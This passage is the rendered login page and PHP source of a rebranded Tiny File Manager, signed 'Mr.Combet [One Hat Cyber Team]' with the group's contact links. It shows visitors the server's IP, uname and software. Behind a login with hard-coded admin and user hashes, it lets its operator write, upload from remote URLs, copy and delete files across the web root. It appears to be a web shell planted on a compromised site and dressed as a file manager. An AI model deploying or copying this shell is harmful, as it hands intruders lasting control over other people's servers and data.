0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
a {text-decoration: none; color:black;}
a:hover {text-decoration: none;color: red;}
.fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
.fm-login-page .brand img{ width:100%}
.fm-login-page .card-wrapper{ margin-top:3%;margin-left:auto;margin-right:auto;}
.fm-login-page .card{ border: 2px solid red; border-radius: 5px;}
.fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
.fm-login-page .form-control{ border-width:2.3px}
.fm-login-page .form-group label{ width:100%}
.fm-login-page .btn.btn-block{ padding:12px 10px}
.fm-login-page .footer{ margin:0px;color:#888;text-align:center}
.fa { color:black;padding: 10px;font-size: 20px;width: 50px;text-align: center;text-decoration: none;margin: 5px;border-radius: 5px;border: 2px solid red;background: transparent;}
.fa:hover {color: red;}
@media screen and (max-width:425px){
.fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
}
@media screen and (max-width:320px){
.fm-login-page .card.fat{ padding:0}
.fm-login-page .card.fat .card-body{ padding:15px}
}
.message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
.message.ok{ border-color:green;color:green}
.message.error{ border-color:red;color:red}
.message.alert{ border-color:orange;color:orange}
body.fm-login-page.theme-dark {background-color: #2f2a2a;}
.theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
</style>
</head>
<body style="font-family: 'Kelly Slab';" class="fm-login-page ">
<div id="wrapper" class="container-fluid">
<section class="h-100">
<div class="container h-100">
<div class="row justify-content-md-center h-100">
<div class="card-wrapper" style="width: 100%;">
<div class="card fat ">
<div class="card-body">
<form class="form-signin" action="" method="post" autocomplete="off">
<div class="form-group">
<div class="text-left">
<div style="text-align: center;display: flex;align-items: center;justify-content: center;align-content: center;">
<a href="mailto:combetohct@yahoo.com" class="fa fa-envelope"></a>
<a href="https://www.facebook.com/combet.ohct" class="fa fa-facebook"></a>
<a href="https://wa.me/6281270303335" class="fa fa-whatsapp"></a>
<a href="https://t.me/combetohct" class="fa fa-telegram"></a>
</div>
<div class="footer text-center">——
<a href="?" target="_blank" data-version="2.4.7">
Mr.Combet [One Hat Cyber Team]
</a> ——
</div>
<b style="font-size: 0.9rem;">
<li>Your Ip : ::1</li>
<li>Server Ip : ::1</li>
<li>Server : <!--? echo "".php_uname().""; ?--></li>
<li>Server Software : Apache/2.4.52 (Ubuntu)</li>
<li>Server Name : localhost</li>
<b>
</b></b></div><b style="font-size: 0.9rem;"><b>
</b></b></div><b style="font-size: 0.9rem;"><b>
<hr>
<div class="form-group">
<label for="fm_usr">Username</label>
<input type="text" class="form-control" id="fm_usr" name="fm_usr" required="" autofocus="">
</div>
<div class="form-group">
<label for="fm_pwd">Password</label>
<input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required="">
</div>
<div class="form-group">
</div>
<div class="form-group" style="text-align: center;">
<button type="submit" class="fa" role="button" style="width: auto;font-family: 'Kelly Slab';padding:5px;">
submit </button>
</div>
</b></b></form></div><b style="font-size: 0.9rem;"><b>
</b></b></div><b style="font-size: 0.9rem;"><b>
</b></b></div><b style="font-size: 0.9rem;"><b>
</b></b></div><b style="font-size: 0.9rem;"><b>
</b></b></div><b style="font-size: 0.9rem;"><b>
</b></b></section><b style="font-size: 0.9rem;"><b>
</b></b></div><b style="font-size: 0.9rem;"><b>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
</b></b></body></html>
<?php
//Default Configuration
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false,"theme":"light"}';
/**
* H3K | Tiny File Manager V2.4.7
* CCP Programmers | ccpprogrammers@gmail.com
* https://tinyfilemanager.github.io
*/
//TFM version
define('VERSION', '2.4.7');
//Application Title
define('APP_TITLE', 'File Manager');
// --- EDIT BELOW CONFIGURATION CAREFULLY ---
// Auth with login/password
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = true;
// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
'admin' => '$2y$10$K/u24DFrwZWJ56FaGjaorugF0.QAVt/BURMAfmyL8hP908MT2lF3K',
'user' => '$2y$10$ogM4dks22JuiOBKGEm9EC.E4tmKyTbsJGFtMfBqzwFvfhATn5VlY6'
);
// Readonly users
// e.g. array('users', 'guest', ...)
$readonly_users = array(
'user'
);
// Global readonly, including when auth is not being used
$global_readonly = false;
// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();
// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;
// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';
// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;
// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC'; // UTC
// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
$root_path = $_SERVER['DOCUMENT_ROOT'];
// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';
// Server hostname. Can set manually if wrong
$http_host = $_SERVER['HTTP_HOST'];
// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();
// input encoding for iconv
$iconv_input_encoding = 'UTF-8';
// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'd.m.y H:i';
// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';
// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';
// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '';
// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', ...)
$exclude_items = array();
// Online office Docs Viewer
// Availabe rules are 'google', 'microsoft' or false
// google => View documents using Google Docs Viewer
// microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';
// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;
// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 5000;
// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';
// Should users be notified of their block?
$ip_silent = true;
// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
'127.0.0.1', // local ipv4
'::1' // local ipv6
);
// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
'0.0.0.0', // non-routable meta ipv4
'::' // non-routable meta ipv6
);
// if User has the customized config file, try to use it to override the default config above
$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
@include($config_file);
}
// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---
// max upload file size
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);
// private key and session name to store to the session
if ( !defined( 'FM_SESSION_ID')) {
define('FM_SESSION_ID', 'filemanager');
}
// Configuration
$cfg = new FM_Config();
// Default language
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';
// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;
// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;
// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;
// Show directory size: true or speedup output: false
$calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true;
// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';
define('FM_THEME', $theme);
//available languages
$lang_list = array(
'en' => 'English'
);
if ($report_errors == true) {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 1);
} else {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 0);
}
// if fm included
if (defined('FM_EMBED')) {
$use_auth = false;
$sticky_navbar = false;
} else {
@set_time_limit(600);
date_default_timezone_set($default_timezone);
ini_set('default_charset', 'UTF-8');
if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
mb_internal_encoding('UTF-8');
}
if (function_exists('mb_regex_encoding')) {
mb_regex_encoding('UTF-8');
}
session_cache_limiter('');
session_name(FM_SESSION_ID );
function session_error_handling_function($code, $msg, $file, $line) {
// Permission denied for default session, try to create a new one
if ($code == 2) {
session_abort();
session_id(session_create_id());
@session_start();
}
}
set_error_handler('session_error_handling_function');
session_start();
restore_error_handler();
}
if (empty($auth_users)) {
$use_auth = false;
}
$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
|| isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';
// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
$wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
$root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);
// abs path for site
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
// logout
if (isset($_GET['logout'])) {
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_redirect(FM_SELF_URL);
}
// Validate connection IP
if ($ip_ruleset != 'OFF') {
function getClientIP() {
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
return $_SERVER["HTTP_X_FORWARDED_FOR"];
}else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
return $_SERVER['REMOTE_ADDR'];
}else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
return $_SERVER['HTTP_CLIENT_IP'];
}
return '';
}
$clientIp = getClientIP();
$proceed = false;
$whitelisted = in_array($clientIp, $ip_whitelist);
$blacklisted = in_array($clientIp, $ip_blacklist);
if($ip_ruleset == 'AND'){
if($whitelisted == true && $blacklisted == false){
$proceed = true;
}
} else
if($ip_ruleset == 'OR'){
if($whitelisted == true || $blacklisted == false){
$proceed = true;
}
}
if($proceed == false){
trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);
if($ip_silent == false){
fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
fm_show_header_login();
fm_show_message();
}
exit();
}
}
// Auth
if ($use_auth) {
if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
// Logged
} elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) {
// Logging In
sleep(1);
if(function_exists('password_verify')) {
if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) {
$_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
fm_set_msg(lng('You are logged in'));
fm_redirect(FM_SELF_URL . '?p=');
} else {
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
fm_redirect(FM_SELF_URL);
}
} else {
fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
}
} else {
// Form
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_show_header_login();
?>
<section class="h-100">
<div class="container h-100">
<div class="row justify-content-md-center h-100">
<div class="card-wrapper" style="width: 100%;">
<div class="card fat <?php echo fm_get_theme(); ?>">
<div class="card-body">
<form class="form-signin" action="" method="post" autocomplete="off">
<div class="form-group">
<div class="text-left">
<div style="text-align: center;display: flex;align-items: center;justify-content: center;align-content: center;">
<a href="mailto:combetohct@yahoo.com" class="fa fa-envelope"></a>
<a href="https://www.facebook.com/combet.ohct" class="fa fa-facebook"></a>
<a href="https://wa.me/6281270303335" class="fa fa-whatsapp"></a>
<a href="https://t.me/combetohct" class="fa fa-telegram"></a>
</div>
<div class="footer text-center">——
<a href="?" target="_blank" data-version="<?php echo VERSION; ?>">
Mr.Combet [One Hat Cyber Team]
</a> ——
</div>
<b style="font-size: 0.9rem;">
<li>Your Ip : <?php echo $_SERVER['REMOTE_ADDR']; ?></li>
<li>Server Ip : <?php echo $_SERVER['SERVER_ADDR']; ?></li>
<li>Server : <? echo "".php_uname().""; ?></li>
<li>Server Software : <?php echo gethostbyname($_SERVER['SERVER_SOFTWARE']); ?></li>
<li>Server Name : <?php echo $_SERVER['SERVER_NAME']; ?></li>
<b />
</div>
</div>
<hr />
<div class="form-group">
<label for="fm_usr"><?php echo lng('Username'); ?></label>
<input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
</div>
<div class="form-group">
<label for="fm_pwd"><?php echo lng('Password'); ?></label>
<input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
</div>
<div class="form-group">
<?php fm_show_message(); ?>
</div>
<div class="form-group" style="text-align: center;">
<button type="submit" class="fa" role="button" style="width: auto;font-family: 'Kelly Slab';padding:5px;">
<?php echo lng('Login'); ?>
</button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</section>
<?php
fm_show_footer_login();
exit;
}
}
// update root path
if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) {
$root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path;
}
// clean and check $root_path
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
exit;
}
defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');
// always use ?p=
if (!isset($_GET['p']) && empty($_FILES)) {
fm_redirect(FM_SELF_URL . '?p=');
}
// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');
// clean path
$p = fm_clean_path($p);
// for ajax request - save
$input = file_get_contents('php://input');
$_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;
// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);
unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
/*************************** ACTIONS ***************************/
// AJAX Request
if (isset($_POST['ajax']) && !FM_READONLY) {
// save
if (isset($_POST['type']) && $_POST['type'] == "save") {
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$file = $_GET['edit'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg(lng('File not found'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
header('X-XSS-Protection:0');
$file_path = $path . '/' . $file;
$writedata = $_POST['content'];
$fd = fopen($file_path, "w");
$write_results = @fwrite($fd, $writedata);
fclose($fd);
if ($write_results === false){
header("HTTP/1.1 500 Internal Server Error");
die("Could Not Write File! - Check Permissions / Ownership");
}
die(true);
}
//search : get list of files from the current folder
if(isset($_POST['type']) && $_POST['type']=="search") {
$dir = FM_ROOT_PATH;
$response = scan(fm_clean_path($_POST['path']), $_POST['content']);
echo json_encode($response);
exit();
}
// backup files
if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
$fileName = $_POST['file'];
$fullPath = FM_ROOT_PATH . '/';
if (!empty($_POST['path'])) {
$relativeDirPath = fm_clean_path($_POST['path']);
$fullPath .= "{$relativeDirPath}/";
}
$date = date("dMy-His");
$newFileName = "{$fileName}-{$date}.bak";
$fullyQualifiedFileName = $fullPath . $fileName;
try {
if (!file_exists($fullyQualifiedFileName)) {
throw new Exception("File {$fileName} not found");
}
if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
echo "Backup {$newFileName} created";
} else {
throw new Exception("Could not copy file {$fileName}");
}
} catch (Exception $e) {
echo $e->getMessage();
}
}
// Save Config
if (isset($_POST['type']) && $_POST['type'] == "settings") {
global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder, $theme;
$newLng = $_POST['js-language'];
fm_get_translations([]);
if (!array_key_exists($newLng, $lang_list)) {
$newLng = 'en';
}
$erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
$shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
$hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
$caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false;
$te3 = $_POST['js-theme-3'];
if ($cfg->data['lang'] != $newLng) {
$cfg->data['lang'] = $newLng;
$lang = $newLng;
}
if ($cfg->data['error_reporting'] != $erp) {
$cfg->data['error_reporting'] = $erp;
$report_errors = $erp;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['hide_Cols'] != $hco) {
$cfg->data['hide_Cols'] = $hco;
$hide_Cols = $hco;
}
if ($cfg->data['calc_folder'] != $caf) {
$cfg->data['calc_folder'] = $caf;
$calc_folder = $caf;
}
if ($cfg->data['theme'] != $te3) {
$cfg->data['theme'] = $te3;
$theme = $te3;
}
$cfg->save();
echo true;
}
// new password hash
if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
$res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
echo $res;
}
//upload using url
if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
function event_callback ($message) {
global $callback;
echo json_encode($message);
}
function get_file_path () {
global $path, $fileinfo, $temp_file;
return $path."/".basename($fileinfo->name);
}
$url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
//prevent 127.* domain and known ports
$domain = parse_url($url, PHP_URL_HOST);
$port = parse_url($url, PHP_URL_PORT);
$knownPorts = [22, 23, 25, 3306];
if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
$err = array("message" => "URL is not allowed");
event_callback(array("fail" => $err));
exit();
}
$use_curl = false;
$temp_file = tempnam(sys_get_temp_dir(), "upload-");
$fileinfo = new stdClass();
$fileinfo->name = trim(basename($url), ".\x00..\x20");
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
$err = false;
if(!$isFileAllowed) {
$err = array("message" => "File extension is not allowed");
event_callback(array("fail" => $err));
exit();
}
if (!$url) {
$success = false;
} else if ($use_curl) {
@$fp = fopen($temp_file, "w");
@$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOPROGRESS, false );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FILE, $fp);
@$success = curl_exec($ch);
$curl_info = curl_getinfo($ch);
if (!$success) {
$err = array("message" => curl_error($ch));
}
@curl_close($ch);
fclose($fp);
$fileinfo->size = $curl_info["size_download"];
$fileinfo->type = $curl_info["content_type"];
} else {
$ctx = stream_context_create();
@$success = copy($url, $temp_file, $ctx);
if (!$success) {
$err = error_get_last();
}
}
if ($success) {
$success = rename($temp_file, get_file_path());
}
if ($success) {
event_callback(array("done" => $fileinfo));
} else {
unlink($temp_file);
if (!$err) {
$err = array("message" => "Invalid url parameter");
}
event_callback(array("fail" => $err));
}
}
exit();
}
// Delete file / folder
if (isset($_GET['del']) && !FM_READONLY) {
$del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
if ($del != '' && $del != '..' && $del != '.') {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$is_dir = is_dir($path . '/' . $del);
if (fm_rdelete($path . '/' . $del)) {
$msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
fm_set_msg(sprintf($msg, fm_enc($del)));
} else {
$msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
}
} else {
fm_set_msg(lng('Invalid file or folder name'), 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Create folder
if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) {
$type = $_GET['type'];
$new = str_replace( '/', '', fm_clean_path( strip_tags( $_GET['new'] ) ) );
if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($_GET['type'] == "file") {
if (!file_exists($path . '/' . $new)) {
if(fm_is_valid_ext($new)) {
@fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new);
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fm_enc($new)));
} else {
fm_set_msg(lng('File extension is not allowed'), 'error');
}
} else {
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fm_enc($new)), 'alert');
}
} else {
if (fm_mkdir($path . '/' . $new, false) === true) {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
} elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fm_enc($new)), 'alert');
} else {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fm_enc($new)), 'error');
}
}
} else {
fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
// from
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
// empty path
if ($copy == '') {
fm_set_msg(lng('Source path not defined'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// abs path from
$from = FM_ROOT_PATH . '/' . $copy;
// abs path to
$dest = FM_ROOT_PATH;
if (FM_PATH != '') {
$dest .= '/' . FM_PATH;
}
$dest .= '/' . basename($from);
// move?
$move = isset($_GET['move']);
// copy/move/duplicate
if ($from != $dest) {
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
if ($move) { // Move and to != from so just perform move
$rename = fm_rename($from, $dest);
if ($rename) {
fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
} elseif ($rename === null) {
fm_set_msg(lng('File or folder with this path already exists'), 'alert');
} else {
fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
}
} else { // Not move and to != from so copy with original name
if (fm_rcopy($from, $dest)) {
fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
} else {
fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
}
}
} else {
